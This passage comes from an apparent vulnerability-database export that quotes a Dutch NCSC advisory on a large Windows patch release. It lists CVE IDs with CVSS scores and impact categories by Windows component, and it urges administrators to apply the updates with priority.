\n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:39.375123Z"}, {"uuid": "08f06659-2981-4556-b404-bc029b2c0126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54125", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van 